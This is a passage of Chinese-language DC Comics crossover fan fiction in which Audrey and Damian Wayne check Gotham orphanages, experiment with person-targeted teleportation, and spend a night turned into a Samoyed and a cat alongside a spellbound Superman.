达米安委屈，达米安生气，达米安决定记仇——当然记仇对象是怎么做都不对的杰森。 第38章 布莱克对小朋友兴趣缺缺，虽然和奥德莉一起去了福利院，但完全自由行动…… 布莱克对小朋友兴趣缺缺,虽然和奥德莉一起去了福利院，但完全自由行动，在楼里四处溜达,直到奥德莉要离开时才从不知道哪个角落钻出来。 回到阿卡姆后,奥德莉把在福利院发生的事情讲给布莱克听,然后郁闷地把头埋进猫猫肚皮，闷声闷气地说：“好尴尬哦。” 布莱克误解了她尴尬的原因，安慰她说：“做侦探就是很厉害呀,你可以做一个调查员兼职侦探。我也想做猫猫侦探，听起来就很厉害。”它一脸严肃地伸出一只黑色小猫爪，压低声音说：“任何时间！” 奥德莉赶紧也伸出手，放在布莱克的猫爪上：“任何地点！” “猫猫侦探,认真办案！”异口同声地说完之后,一人一猫都莫名其妙地热血起来。 “啊，我说的尴尬不是这个原因。”奥德莉忽然发现话题跑偏了。“我是说杰,幸好他人好，没有追究我们在背后议论他。” “猫猫侦探可以告诉你一个关于他的秘密。”布莱克说。 “啊？”奥德莉震惊，有点好奇但又犹豫。“这不太好吧。” “也不算什么惊天秘密啦。他其实叫杰森,是冰山餐厅的老板。”布莱克神秘兮兮地说。“我碰巧听到他和员工打电话。” “哇,你真的是个大侦探。”奥德莉夸道。“那就解释了为什么他一副见多识广的样子了。” “我喜欢那家餐厅的吊灯。老板品味不错。”布莱克对冰山餐厅的印象很好，连带着对老板也愿意夸上一句。 “这个……品味独特吧。”奥德莉选了一个中性的说法。 “我要成为知道最多秘密的猫猫侦探。”布莱克坐正身体，庄严地宣布。 “还是要尊重其他人的隐私啊。”奥德莉捏捏布莱克的猫脸。“否则你就是人人喊打的猫猫狗仔队了。” “好吧。”布莱克犹豫了一下，还是答应了。“反正这样靠着隐身偷听来的信息一点挑战性也没有。” 离开福利院后，达米安去和蝙蝠侠一起夜巡。他和蝙蝠侠报备过自己今晚会迟一些加入。 蝙蝠侠问：“福利院的孩子们都好吗？” 韦恩先生在各个福利院都做过义工。在记者的照片中,他看起来像是一个在日常作秀博取名声的阔佬,只负责不走心地和围在他身边的孩子们合影，露出充满魅力的笑容。 事实上,他记得每一个孩子的名字，并解决了许多观察到的细微问题。 达米安把发生的事情简单讲了，提议道：“哥谭的老建筑很多，不知道是否还有类似情况，我想和奥德莉一起把另外两家福利院排查一遍。” “韦恩集团对它们都有资助，你可以用韦恩家的名义去视察。”蝙蝠侠很支持。“奥德莉有时间吗？” “她已经答应了。”达米安有点骄傲地说，省略掉自己用绿眼睛可怜兮兮地恳求她消气的作弊行为。 因为杰森的原因（杰森：你摸摸你的良心，真的是因为我吗？），奥德莉对他生气了五分钟。但达米安像一只故意恶作剧后又一脸诚恳地看着人请求原谅的大猫，这是人类意志能抵抗得了的吗？至少奥德莉不能。 对布莱克毫无原则、对达米安基本没原则的奥德莉选择原谅他，虽然她故意假装继续生气五分钟，让达米安多提心吊胆了一会儿。 对于她的小小报复，达米安信以为真，不自觉地露出有点焦急的神情。奥德莉实在忍不了看他这么可怜，两人又和好了。 杰森靠在墙边假装壁虎，看到达米安的样子，被殃及池鱼的不悦全没了。吃瓜总得付出点什么，他淡定地想，又在心里吐槽：幼儿园的小朋友吵架又和好的速度都没有你们快。 此刻的蝙蝠侠也很想吐槽：她是答应你一起去做好人好事，不是答应你去约会。你在骄傲什么？ 但他忍住了，因为他想起自己也做过类似的事情。在塞琳娜主动帮助其他人后，他在对阿尔弗雷德讲起时也会带着与有荣焉的情绪，就像在炫耀“你看我交到了一个多么好的朋友”。 阿尔弗雷德那时候可没有故意逗他，生怕自家少爷炸毛。那他现在也能忍住。 反正回家之后，他可以把达米安难得的幼稚表现单独讲给阿福听。被管家偏爱了一辈子的布鲁斯少爷得意地想。虽然现在阿福叫他老爷，但他才是阿福心里排第一的那位小少爷。 达米安又暗自生气了。 起因是阿尔弗雷德帮他和奥德莉做好了安排，周五晚上先去玛利亚福利院，周六再去圣约翰福利院。 周五晚上，他和奥德莉与另外几位志愿者一一打过招呼，其中一人就是达米安今晚烦恼的源泉。 “火柴马龙，您曾在机场送过我。那天我等车等了很久，多亏您经过。”虽然没有第一时间认出对方的脸，但在听到这个过目难忘的名字之后，奥德莉马上记起了初到哥谭时遇到的这位出租车司机。“我叫奥德莉，没想到又见面了，真巧。” “达米安。”达米安板着脸说。 火柴马龙，即布鲁斯韦恩，其实并不是来围观达米安的。他来此主要是出于控制狂心态，希望能第一时间了解福利院是否存在隐患。 当然，看达米安炸毛属于额外福利。 但达米安对情绪掩饰得很好，因为他知道奥德莉在无意识地关注自己，而他不希望在两人相处时引入任何负面情绪。他只是隐蔽地给布鲁斯一个不高兴的眼神，然后就不理他了，跟在奥德莉旁边等着听她的观察结果。 孩子们没什么奇怪之处，晚上对建筑的巡查结果也一切正常。看来即使是哥谭，也并不是处处有隐秘世界的残留。 周六，在圣约翰福利院，奥德莉认识了另一位志愿者。来自布鲁德海文的警察迪克格雷森笑得爽朗大方，自我介绍说在哥谭长大，周末不值班就回来看看，回馈社会。 达米安连个眼神都懒得给迪克，只在擦肩而过时低声警告他离远一点。可怜的大哥委屈巴巴，他想辩解说是布鲁斯让自己来的，但他自己都觉得这个解释很像借口，只能躲在角落默默刷碗。好在他经常做家务，小学开始每天帮阿尔弗雷德洗碗以获得一周五美元的零花钱。但福利院的餐具真的好多啊！为什么好像永远也刷不完？ ——因为圣约翰福利院是哥谭最大的一家福利院，这也是阿尔弗雷德将它安排在周六的原因。 奥德莉和达米安仔仔细细检查了前后两栋楼，确定没有什么问题，终于松了口气。 “看来哥谭没有我脑补得那么夸张，比如遍地是失落的古籍。”奥德莉说。“如果再找到几本，我想阿米蒂奇教授会来这边常住一个月了。” “那哥谭*岂不成了密教大本营？”达米安想象一下，觉得倒也很符合哥谭的气质。 “对了，杰说他今天会在福利院，我把月蚀蓟送过去。” 杰森已经和每个孩子都单独聊过，确认了奥德莉和教授的猜测。在玩捉迷藏的时候，有几个孩子藏到了阁楼，但因为那里很难被发现，之后大家约定再玩游戏的时候谁也不去藏在那里。结果就是去过阁楼的六岁的孩子只有四位。 两人闲聊几句，杰森说自己已经将壁纸都换好了，只等下一个满月之日给孩子们服用药水之后便会销毁。 奥德莉叮嘱他观察孩子们的反应，如果发现什么异常，可以随时联系她。 之后，达米安又跟着奥德莉回到阿卡姆宿舍，理由是想教她画画。画了一会儿，奥德莉耍赖不想画了，突发奇想说：“我好久没有远距离传送了，我试过纽约，但还没试过其他国家。” 达米安问她：“如果因距离太远而传送不成功，会有什么后果吗？比如力竭晕倒？”维多利亚世界的那次晕倒他可还记得很清楚。 “不会的。后果就是还站在原地，并不会说想传送八百米，但因为能力有限而出现在五百米的地方。”奥德莉解释。 “这样倒是更安全，否则万一五百米的地方是个湖泊呢。”达米安说。 奥德莉试了试中东的民宿和伦敦的莫兰书店，发现自己基本能在地球上畅游无阻了。 最初的莫兰书店是因为防剿局对店长莫兰小姐的关注而关门的，那已经是很多年前的事情了。由于它在隐秘世界的巨大名气，在那个消息传播不够快的年代，总有人会远道而来才发现书店已经关张。 后来，书店几经易手，一位名为辛西娅坎贝尔的小姐在莫兰书店的原址上扩建了店铺，再次将莫兰书店的大名传遍隐秘世界。她沿用了旧名字以纪念初代店主。 大一时，密大组织新生去莫兰书店参观并留下传送记号。当然，那时的学生们都无法从美国传送到英国，跨越大洋彼岸的距离太远了。 第39章 在确认自己可以任意跨越半个地球之后，奥德莉打算尝试一下进阶传送，将…… 在确认自己可以任意跨越半个地球之后,奥德莉打算尝试一下进阶传送，将坐标定在某个人身上，而不是某个固定的地点。 达米安默认自己是奥德莉的试验伙伴,提议道：“我在这里等你,你先传送到伦敦,再以我为坐标回来。” 奥德莉照做，消失后又忽然出现，达米安淡定地在最后一瞬退后半步,为她让出空间。 “幸好你反应快。”奥德莉惊魂未定地说。“要是换个普通人，我岂不是要把他撞飞？这个传送功能是用来对敌的吗？” “我不觉得其他调查员有我这样的反应速度。”达米安理性分析，“如果我不躲的话，你也未必会撞上我,也许会落在我旁边。” “也是,否则一定有很多传送造成伤亡的故事。”奥德莉认为他说得有道理。“那我再试一次，这次你不要动。” “好。”达米安答应了,又保证道：“就算你的着陆位置和我完全重叠也没关系，我能接住你。” 奥德莉消失了。这次达米安站在原地一动不动，神情专注地等着奥德莉回来。如他们猜测的,她出现在他身旁。 有一个著名的团队协作训练项目叫做“信任背摔”,规则是前排的人保持身体笔直向后倒，信任后排的人能接住她。但人们通常会对后排的人产生质疑——他能接住我吗？他的力量足以承载体重和重力的结合吗？带着这样的心态，身体会不自觉地做出自我保护的姿势。 更有趣的一点是理性认知与躯体本能间的微妙差异。即便理性层面竭力说服自己去信赖，哪怕心理上的质疑几乎为零，身体也总是会做出条件反射般的防御姿态,暴露出潜意识的犹疑。 但奥德莉在传送时是全然放松的的姿态,反而是在落地后，发现两人几乎贴在一起、距离近得有些太过了的时候,才立刻紧绷起来，下意识地后退半步。 达米安为她的身体语言中展露无遗的信任而微笑起来。在奥德莉投来费解的眼神时，达米安清了清嗓子，很有实验精神地问：“如果我在你出现时立刻后退，你会跟着我一起移动吗？那样的话，如果真的定位的是敌人，你还能追踪对方。” “从我出现到着陆只有几秒钟，一般人能有这种反应速度吗？除非他在搭乘飞机。”奥德莉虽然这样说，却也很好奇答案。“让我们试一试。” 奥德莉话音刚落就再次消失，然后又一次出现。达米安在看到她出现的时候马上向左疾冲几步，奥德莉竟然真的跟着一起移动了方位，然后踉跄着被达米安眼疾手快地接住。 如果没有被达米安扶住，奥德莉很可能会摔得很重。但达米安的动作毫不慌张，所以她一点也没意识到擦肩而过的巨大危险，笑嘻嘻地说：“我们可能是第一个发现这一点的人。” 达米安不得不严肃地提醒奥德莉其中风险，建议她多做平衡练习。奥德莉答应了，然后又说：“我知道你肯定能扶住我的。换做其他人，我一定会非常小心。” 达米安抿着嘴，一副“这不算什么”的样子，但嘴角还是飞快地、偷偷地翘了一下。 试验大获成功，奥德莉准备解除在达米安身上的传送定位，却被达米安阻止了。奥德莉奇怪地看他：“这个传送是可以单方面发起的，你不担心我忽然从天而降吗？” 达米安非常自信地说：“你在任何时候出现都不可能撞到我，即使你的着陆点和我的位置完全一样。” “这一点我是相信的。”奥德莉对达米安的敏捷身手和反应速度毫无质疑。“但我的意思是说，你不担心我出现的时机不合适吗？” “根据我对你的了解，你如果要来，肯定会提前联系我。”达米安很自然地说，一点顾虑都没有。“除非你想给我一个惊喜。” “惊喜还是算了吧，”奥德莉立刻拒绝。“万一你和蝙蝠侠正在任务中途，那多冒昧啊。” 达米安已经预料到她会这么说。奥德莉的分寸感很强，在对人热情的同时，总有一层淡淡的疏离藏在最下面。 他很想说“你出现的任何时间都不会不合适”，但这不是事实，两人都知道。他能给出的最大程度的信任不是允诺对方可以随时出现，而是相信对方不会滥用留下的定位去刺探他不能说的秘密。 “留下它吧。”达米安说，语气中不自觉地带上一点恳求。这不是他的说话风格，但他很早就发现奥德莉非常吃这一套。 奥德莉很有团队精神，在任务需要时也乐意服从命令，但平时她非常不喜欢被强势地对待，那会激起她的逆反心理。大部分时间她很随和，不过没人能让她做她真正不想做的事情。 达米安想，如果奥德莉拒绝，那也没关系。他可以在未来再问一次。 他对最终结果抱有乐观的期待。 “现在其实很少有人这么做了。”奥德莉说。“调查员通常是在某次探险中临时在队友身上留下坐标，防止走散。”她顿了一下，“如果是长期的，通常是两个人互相留下坐标。但我没办法给予你对等的待遇。” “我不在乎我比你更信任对方一点。”达米安半开玩笑地说。“而且不要看不起义警的高科技手段，我们有纳米定位器。” 小王子为狐狸戴上项圈时，是小王子驯服了狐狸，还是狐狸留住了小王子的关注？ 奥德莉犹豫了一会儿，最后说：“如果某一天你希望把它解除，告诉我。” “好的。”达米安答应了，因为奥德莉很坚持地看着他，大有如果他不答应就立刻解除的架势。 “而且，我不会允许你在我身上放纳米定位器的，任务需要除外。”奥德莉强调。 “我知道。”达米安立刻说。“除了任务需要之外，我们平时也不会这么做的。” 奥德莉微微歪头，盯着达米安：“你在纵容我。” “而你在允许我纵容你。”达米安非常坦荡地说。 两个人对视，好像在玩谁先移开视线谁就是胆小鬼的游戏。但达米安可以坚持很久不眨眼，奥德莉很快就败下阵来，她借着眨眼睛的机会宣布退出比赛。 达米安对奥德莉的赖皮行为没有说什么，他只是故意慢慢地眨一眨自己的绿色眼睛，得意地笑一下。 对，他就是知道自己的优势，而且会充分利用。 奥德莉晕乎乎地看着达米安，然后指责他赖皮。被戳穿的达米安笑得更得意了。 “你快去夜巡吧。”奥德莉恼了，开始赶人，并且发表应该被挂路灯的资本家言论：“我要写信给蝙蝠侠，请他给罗宾设置上下班打卡制度，外加年度、季度、月度、每日绩效考核……” 达米安任由奥德莉抓住他的手，看着她火速把他放在韦恩大宅门口，然后又看着她像是风一样消失在眼前。 “我走了。”奥德莉不习惯没有说一声就离开，回去之后还特意发了条信息。 达米安不自觉地笑起来，回复一句毫无意义的话：“我看到了。” “达米安少爷，您是打算一直站在那里吗？”阿尔弗雷德打开门。 “夜巡前我看看天气。”达米安仰望天空，一脸严肃地说。 “那我就不打扰您了。”阿尔弗雷德看看阴沉沉的夜空，在雨滴落下前回到大宅内。 周日上午，奥德莉在宿舍床上滚来滚去，最后决定回纽约。她的父母刚刚出差回来，听说她忽然要回家，吓了一跳，担心是出了什么事。奥德莉赶紧解释自己现在可以很方便地随时回去。 莉莉狐疑地看着女儿：“你大二开学之后就说能随时从波士顿回家，但除了每周去武馆上课，没见你特意回来过。” 奥德莉心虚地说：“我就是今天忽然想回来了，不可以吗？” “可以，当然可以。”父亲约翰与妻子交换了一个尽在不言中的眼神。“那我们去吃意大利菜吧。” 午饭途中，达米安发来信息：“一起吃午饭吗？” “我有事回纽约一趟。”奥德莉说。 “哦。需要我去吗？”达米安问。 “不需要。”奥德莉惜字如金。 “好吧。那今天想画画吗？我可以做你的模特，还可以帮你调颜色。” 奥德莉为这个提议而心动，犹豫起来。达米安的下一条信息又到了：“我在韦恩庄园，下午都有空。” “其实我和你妈妈已经买了电影票。”约翰忽然说。“你有事的话可以先走。” 奥德莉抬起头，看见父母揶揄的笑容，嘴硬道：“我没事。” “但我们有安排。”莉莉笑着说。“除非你想和我们一起去看老电影。” “好啦，我这就走。”奥德莉飞快地吃完最后几口意大利面，和父母告别。 因为达米安说他下午有空，她故意没有回复达米安，直接传送过去。明明知道他的反应速度，但奥德莉还是忍不住想恶作剧一下。 达米安正在自己的起居室里画画，或者说在守株待兔。在听到空气波动的声音时，他假装毫无所觉。奥德莉反而因此慌张起来，惊呼一声“达米安”，然后被后退一步的达米安稳稳扶住。 “我就知道你是装的。”奥德莉嘴硬，努力平复心跳。 第40章 奥德莉对画画颇为上瘾，虽然成品总和她脑中想象的存在差异，但她自认为…… 奥德莉对画画颇为上瘾,虽然成品总和她脑中想象的存在差异，但她自认为是有传神之处的。比如这次的肖像画，在达米安的帮助下,她调出了满意的蜜棕色作为肤色。至于眼睛的绿色,她上次画布莱克的时候已经有调色心得了。 达米安非常有耐心,面对奥德莉这种只会用务虚的语言描述需求的甲方，他忽略掉“琥珀的鎏金”、“枫糖浆流淌时的剔透光晕”、“秋日林间穿透叶隙的斑驳碎金”等优美但毫无用处的词汇，直接比照自己的肤色来调色。只是在终于得到甲方奥德莉的首肯时,达米安已经要被她天花乱坠的形容词给夸晕了。 “有人觉得我这样的肤色配不上韦恩这个姓氏。”达米安状似无意地抱怨，像个受了天大的委屈又不敢说的受气包。确实有人在宴会上偷偷这么议论过，但达米安并不在乎。他非常确定韦恩这个姓氏将因为他而更加荣耀。反而是德雷克听了气不过，暗中替他出头几次,还做好事不留名,在达米安问起时假装已经忘记了。 “胡说，那是坏人在嫉妒你。”奥德莉气得鼓起脸,然后又担忧地问：“你家里不会真的有什么豪门争斗吧？” 达米安大发善心地为德雷克正名：“没有，家里人都很好。是外面的人在议论。” “那更不要去理他们了，他们不值得你浪费时间。”奥德莉安心了,一边作画,一边脑洞又开始运转—— 已知韦恩先生是白色皮肤、黑发蓝眼的盎格鲁-撒克逊人，而达米安是棕色皮肤、黑发绿眼，显然是因为混血的缘故。那蝙蝠侠是不是黑发棕眼？ 不行，不能再想下去了。奥德莉赶紧阻止自己。她要尊重偶像的隐私。 “你在想什么？”达米安微微眯起眼，非常警觉地问。 “没什么。”奥德莉赶紧说,“你不许动。” 达米安继续保持着站在窗边的姿势,等到奥德莉宣布自己画完了才凑过去看。 自从投入抽象派的怀抱，奥德莉的绘画速度进一步提高,人像画也只需要一个小时。至于成品，达米安觉得那些堆叠的色块能看出是人，如果加以合理想象，也能看出是他。他挺满意的，打算把它挂在卧室。 只要颜色调得好，成品总不会太差。——信心满满的奥德莉如此总结。 静谧的午后时光被一阵鸡飞狗跳的声音打断了。奥德莉和达米安一起来到阳台上，朝楼下的花园看去。一只巨大的白色萨摩耶正在管家精心修剪的灌木之间横冲直撞，试图找旁边的两个年轻人玩，而后者以常人难以想象的敏捷躲避着，生怕被狗狗碰到。 “为什么不摸摸它！”看到亲近人类的微笑天使萨摩耶得不到它想要的陪玩，奥德莉十分心疼，半个身子都要趴出去了。“狗狗，我可以陪你玩。” 萨摩耶听到了奥德莉的呼喊，激动地看向她，下一刻竟然跳上了二楼阳台。达米安立刻拉住奥德莉向后避让，但令人感到难以置信的是，萨摩耶比达米安更快。 奥德莉和达米安一起被巨型萨摩耶扑倒在地，然后“噗”地一声，两人消失了，一只中型萨摩耶和一只小小的绿眼黑猫出现在原地。 “咦，你变成猫了。”萨摩耶-奥德莉说，用爪子去戳黑猫-达米安。达米安和布莱克虽然有同样颜色的眼眸，却是两种完全不同品种的猫咪。布莱克是一只短腿的肉乎乎的猫咪，而达米安更像一只小豹子，身姿修长，动作矫健。 “不要戳我。”达米安抗议。 “我呢？我是什么？”奥德莉看不到自己的全貌，急切地问。 “你变成萨摩耶了。”达米安被她没轻没重地戳了几下，灵活地从奥德莉的爪子下躲开。 “嗷呜。”奥德莉很不适应用四肢支撑身体的感觉，笨拙刨了几下地，然后又去找达米安，想用嘴筒子拱他。“你这个样子好可爱啊，要是能拍照留念就好了。” 达米安看向花园中的提姆和他的朋友康纳，不出所料地看到两人正在疯狂拍照。 康纳是超人的儿子，但他没有母亲，也不是超人通过生育宝典亲自孕育的，而是送子总裁莱克斯卢瑟的生物学杰作，基因来自超人和卢瑟。 在知道自己竟然有一个从生物仓中被制作出来的儿子时，超人去找蝙蝠侠倾诉自己的悲惨经历，还非常没有眼色地抱怨：“年少时不能遇见生物知识太过惊艳的人。比如塔利亚，比如卢瑟，否则就会多出个孩子。” 没错，达米安也是生物工程的杰作，是塔利亚用蝙蝠侠和自己的基因结合制作的。卢瑟制造了无数个基因结合体，从中选出了最优秀的康纳进行培养。塔利亚则更进一步，在选出最优秀的达米安之后，又以他为蓝本制作了无数个克隆体。 彼时的蝙蝠侠已经完全接纳了达米安，不只是因为他有自己的基因，也因为在相处中产生了真切的父子之情。但超人的话还是气得他翻个白眼，然后拍拍超人的肩膀，鼓励他说：“你会找到和他的相处之道的。” 蝙蝠侠永远是对的。超人勇敢地承担起一个父亲的责任，和康纳成为亲密的父子，并在被魔法击中变成萨摩耶后选择热情地追着康纳跑。 康纳很想去摸一摸钢铁萨摩耶的头，但通讯器另一端的提姆紧急制止了他，因为根据施法之人嚣张的自述，这种魔法通过接触传染，好在时效不长，只有十二个小时。 于是超人和康纳在空中上演了一场“他逃，它追，他插翅难飞”的剧情，直到康纳飞到韦恩庄园，想请蝙蝠系义警帮他制止超人，或者帮他顺利熬过接下来的十一个小时。但超人被奥德莉吸引了注意力，轻轻一跃便登上了阳台，扑倒了奥德莉和达米安，为韦恩庄园再添两只动物。 提姆发现达米安在看自己并且露出非常人性化的表情，忽然意识到对方和超人不一样，竟然是神志清醒的。超人已经完全被狗狗的情绪同化了，只想做一只快乐玩耍的萨摩耶。 “那只萨摩耶是超人，他中了魔法，会把碰触到的人也变成动物。你们最好能吸引他的注意力，让他不要再去找其他人。只要能坚持十一个小时就行了。”提姆说，在看到奥德莉和达米安对他点头时松了口气。 “他们两个为什么能听懂人话？”康纳不解。“我之前说了那么多，超人一个字也没听懂。” “可能是因为超人的魔抗太低了。”提姆叹气。 “而且他们两个能互相交流，真神奇。在我听来就只是‘汪汪汪’和‘喵喵喵’。”康纳听了一会儿，还是一句也没听懂。 另一边，奥德莉发现在她变成萨摩耶之后，超人很快失去了对她的兴趣，又一次想去找康纳一起玩。 “他可能只想和人一起玩。”奥德莉试图阻拦超人，可他太灵活了，奥德莉只能努力去硬扑，利用超人怕伤到她而不敢用力的心态挡在他前面。 “汪汪汪。”奥德莉尝试与超人对话，但她的半吊子狗语只换来超人的迷惑眼神，那双黑豆豆一样的眼睛中流露出清澈的愚蠢。 “汪汪汪。”达米安出场，神气十足的黑猫顺利将提姆所说的信息传递给超人。超人思考了一会儿，慢吞吞地朝房间内走去，找到一个角落趴下，默默地等待魔法失效。 “达米安，你好厉害！”奥德莉被达米安的语言能力震惊了，摇着尾巴去扑达米安。达米安眼见雪山压顶，急忙躲开。但奥德莉受到狗狗心性的影响，毫不气馁地再一次朝达米安奔去。 为了自己的生命着想，达米安不得不飞跃到一个最安全的地方——奥德莉的头顶上。 奥德莉因为头上忽然多出来的重量而使劲摇了几下脑袋，成功把自己摇晕。达米安无奈地用爪子轻轻按了几下，奥德莉这才反应过来，开心地笑起来，顶着达米安飞奔几圈，然后跑到落地镜前。 镜子中，一只中等体积的通体雪白的萨摩耶仰首挺胸地站着，头上趴着一只小小的黑猫，黑猫的绿眼睛犹如宝石般流光溢彩。 “你真好看。”奥德莉在变成萨摩耶后，说话更直白了。 达米安说：“你也很好看。” “但为什么你这么小呢？”奥德莉想不通，“明明你比我高。” 达米安也想不通，而且为此很郁闷。虽然眼神凌厉，但受限于身体大小，他这样子看着一点也不威武，倒更像是奥德莉的毛绒玩偶。 “要是有人能为我们合影就好了。”奥德莉又一次感慨。 达米安伸爪指指房间的数个角落：“刚才我已经打开摄像头了。” “你的房间里有这么多。”奥德莉震惊，然后又欢呼。“那我们就有多机位的高清照片了。” 奥德莉激动得狂摇尾巴，那条洁白的大尾巴就像一根充满诱惑力的逗猫棒，达米安努力控制自己不要转身去抓。奥德莉毫无自觉，陶醉地欣赏镜中的自己和达米安，还很坏心眼地说：“我们现在的体型差，比去年还大。嘿嘿。” 达米安决定顺从猫咪本能，去轻轻咬那条大尾巴一口。【你现在阅读的是 】 40-50 第41章 想到他们现在的一举一动都会被拍下，可以成为珍贵的收藏，奥德莉开始提…… 想到他们现在的一举一动都会被拍下,可以成为珍贵的收藏，奥德莉开始提要求了：“你站到我的左边爪子下面，假装是我捕获的战利品。你要表现出愤怒、不甘和忧愁。” 达米安很生动地翻了个白眼,但还是照做了。导演奥德莉倾情指导达米安展现饼状图演技：“三分愤怒,不是四分。” 在演员达米安的表情就位后,奥德莉看看自己的巨爪，小心地控制力气：“我要是一不小心踩到你，你大概会变成一团猫饼。” “啧。”达米安很高傲地说：“你肯定踩不到我。” 奥德莉被激起了斗志：“我们来比试一下。”虽然人形的她打不过达米安,但现在她有体积优势呀。她打算把达米安挤到角落里，让他无处可逃。 达米安看穿了她的小小阴谋，巧妙地闪躲着，而且很有自信地拖到最后一刻才腾挪跳跃,让奥德莉觉得自己其实只差一点点就踩到他了。 最后奥德莉耍赖,侧身躺倒在地上，先微微抬头说一句“我头晕”,然后头一歪装昏倒。 明明知道她在骗人，明明看到她偷偷睁开眼去瞄他，达米安还是很配合地凑过去,故意放慢速度露出破绽,被奥德莉扑到身下。奥德莉很注意，没有把重量压在达米安身上，只是虚虚地按着他，然后骄傲地仰头宣布：“我赢了。嗷呜。” “喵呜。”达米安响应了一声。 “我有点饿了。”身体变形外加刚才的一阵剧烈运动之后，奥德莉忽然觉得饥肠辘辘。她四处看看,盯上了桌上的巧克力慕斯。 “我能吃那个吗？”奥德莉犹豫,“我不是真正的狗狗，应该没事吧。” “稍等一下,我已经给阿福发了信息，他很快就会来喂我们了。”达米安从奥德莉的身下钻出来，坐在她面前，安抚地用爪子摸摸她的前爪。小小的黑色猫爪被萨摩耶的巨大脚掌衬得更小了。 “好吧。”奥德莉决定再忍一忍，然后又被自己的爪子吸引了注意力。她对自己的粉色肉垫喜欢得不行，又对达米安说：“让我看看你的肉垫。” 达米安举起一只小猫爪，奥德莉认真看了看，鉴定道：“你的是灰紫色的。” 玩了一会儿击掌游戏，奥德莉听到角落里传出一声可怜的呜咽声。她看看蜷成一团的巨大萨摩耶，他双眼无神地看着他们玩，完全笑不出来了。 “我们去和超人一起玩吧。”奥德莉提议道。“但他只能听懂你说的狗狗语，你来为我们做翻译。” 在达米安的翻译下，奥德莉和超人很快玩到了一起，两个白团子滚成一团，毛发纷飞。达米安则去帮阿尔弗雷德开门，世界上第一可靠的管家侠送来了食物和水。 “这个香肠好好吃。”奥德莉第一次觉得不含盐和调味品的香肠这么美味，激动得原地转了一圈，然后催达米安尝尝。 达米安矜持地咬了一口，说：“还不错。”然后又去吃他的小鱼干了。奥德莉刚刚也咬了一口鱼干，对它完全不感兴趣。 超人也沉浸在美食之中。他实在是太巨大了，足足比奥德莉大了一倍。 “如果你站在他头顶的话，就像是棉花糖上沾了一粒芝麻。”奥德莉小声地对达米安说。 “那在你头顶呢？” “像块巧克力。”奥德莉还惦记着没吃到的慕斯。 “等你变回去之后，想吃什么都可以。”达米安心领神会。 “这个魔法师有点讨厌，但这个魔法还挺有趣的。”奥德莉感慨。“我一直觉得如果你是动物的话，你就会是一只猫。” “是吗？就像布莱克一样？”达米安忽然说。 “啊？”奥德莉吓了一跳。 “拉撒路池，你第一次见到我的时候，你说‘布莱克！你能变成人了？’”达米安耐心地说，不给她逃避话题的机会。“布莱克是你的宠物吗？” 奥德莉觉得以达米安的骄傲，他不会愿意被误会成是别的猫。于是她抵赖道：“池边风声太大，你一定是听错了。” 面对达米安露出的看穿一切的眼神，奥德莉只好说：“好吧，布莱克是我以前养的猫。” 达米安很肯定地说：“你从没养过猫。” “谁说的？” “你在社交网络的照片里从来没有过宠物。如果你养过猫，你一定发过几百张了。” 奥德莉负隅顽抗：“是我在外面喂养的，没有带回家过。” “所以，你在中东的时候，认为一只远在美国的流浪猫会变成人出现在那里？真是一个非常合理的推测。”达米安慢悠悠地说。 “达米安，我现在是一只萨摩耶。”奥德莉郁闷地说。“我的脑容量不足以支撑我撒谎，你不要再问啦。” 达米安被她的理直气壮逗乐了，见她真的不肯说，便也不再纠结这个问题，继续吃饭。 奥德莉自以为很隐蔽，实则像一座大山一样蹭到达米安旁边，说：“你呢？你觉得我更像是什么动物？” 达米安以前其实没想过这个问题，看到奥德莉歪着头对他微笑着，又想到她刚才横冲直撞的样子，他觉得她变成萨摩耶非常合理。 听了他的评价后，奥德莉自动把所有形容词理解为褒义词，高兴地摇尾巴，还对达米安说：“我感觉我的尾巴像个螺旋桨，可惜我摸不到。你快替我摸摸。” 达米安依言伸出猫爪，认认真真地摸了几下，赞同道：“手感真的很好。蓬松又柔软。” 奥德莉也去摸摸达米安的尾巴，说：“你的也不错。虽然没有我的蓬松，但是很有力量，感觉可以作为武器。” 吃饱喝足之后，奥德莉又有精神了，提出要玩叠叠乐。其实就是奥德莉把超人压在最下面，然后头上顶着达米安。 “有点傻。”达米安评价，但还是同意了，并且翻译给超人听。 超人的脾气很好，变成萨摩耶之后也一样。他老老实实地趴在地上，让奥德莉跳到他的背上，然后等达米安跳到奥德莉的头上。 “超人清醒后会不会生气？”奥德莉的理智短暂地上线了几秒。 “不会的。”达米安肯定地说。 “那你帮我告诉他，请他带着我们飞起来。”奥德莉又陷入纯粹的玩乐情绪中。“但是不要飞得太高，我变成狗狗之后有点晕高。” 超人体贴地慢慢飞起来，很稳当地飘在空中。奥德莉适应了之后，又要求超人加速以及上下移动，超人一一满足。两只萨摩耶玩得不亦乐乎，达米安完全无法理解其中的快乐，但一直陪着奥德莉为她做翻译。 最后奥德莉玩累了，趴到地上打盹。达米安蹲坐在她旁边，像是一个小小的忠诚护卫。 “几点了？”奥德莉迷迷糊糊地睁开眼，先去喝了点水，又趴回去了。超人在房间的另一边睡得正香，听到动静只是微微睁开眼，又继续睡了。 “凌晨三点。”达米安窝在奥德莉的脑袋边上，用头蹭了蹭她的头。 “哦，那还要两个小时才能变回去。”奥德莉慢吞吞地说。“你一直没睡吗？” “我不困。”达米安说。“你睡吧。” 达米安其实也有点困了，尤其是看到奥德莉在旁边睡得那么香甜，平稳的呼吸声有一种催眠的功效。但他担心超人跑出去撞上别人，觉得自己还是守夜更安心。 “那你能不能提前叫醒我？我担心变回人之后没有及时醒来，这样睡在地上会浑身都疼的。我明早还要上班呢。” “没问题。”达米安说。奥德莉在变成狗狗之后明显脑回路简单了很多，但依然惦记着第二天要上班，真是可歌可泣的打工人精神。 “还有超人，别忘了也叫他。”奥德莉已经半梦半醒了。 “放心吧。”达米安又蹭蹭她。 依偎在十分可靠的达米安旁边，奥德莉安心地再一次陷入梦乡。 月光下，奥德莉就像一片巨大的、温暖的洁白云朵。达米安望着她出神了一会儿，很想去摸摸她毛绒绒的耳朵，天人交战许久，他终于慢慢伸出一只猫爪，却在即将碰到时像被烫到一样猛地缩了回去。 打闹时的肢体接触是一回事，但在这样安静的夜晚，如果他偷偷地去摸她的耳朵，就好像一切都变了质。 达米安默默地坐在那里，在恢复人形的时刻快到来时叫醒了奥德莉和超人。 “我好困。”奥德莉闭着眼睛说。她从来没意识到狗狗这么爱睡觉。超人也是一副睁不开眼的样子。 对付这样的萨摩耶，达米安当然有办法。他叼着两块香肠分别放在两只狗狗鼻子前，看着他俩嗅闻几下之后忽然坐起来，激动地原地转*圈感谢上天的馈赠。 